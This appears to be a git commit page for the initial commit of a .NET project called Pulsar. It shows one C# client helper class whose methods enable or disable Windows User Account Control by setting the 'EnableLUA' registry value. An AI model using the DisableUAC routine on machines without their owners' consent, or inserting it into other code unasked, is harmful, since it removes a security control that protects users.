initial commit
Pulsar .NET 9.0 Windows Release / build (push) Canceled after 0s
Mirror to Codeberg and Gitea / mirror (push) Canceled after 0s

This commit is contained in:
i2p
2026-08-27 10:57:58 -06:00
commit 773d05f8f1
1038 changed files with 109261 additions and 0 deletions
+46
View File
@@ -0,0 +1,46 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Pulsar.Client.Helper.UAC
{
public class UACToggle
{
public static void EnableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 1, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error enabling UAC: " + ex.Message);
}
}
public static void DisableUAC()
{
try
{
Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
if (uacKey != null)
{
uacKey.SetValue("EnableLUA", 0, Microsoft.Win32.RegistryValueKind.DWord);
uacKey.Close();
}
}
catch (Exception ex)
{
Debug.WriteLine("Error disabling UAC: " + ex.Message);
}
}
}
}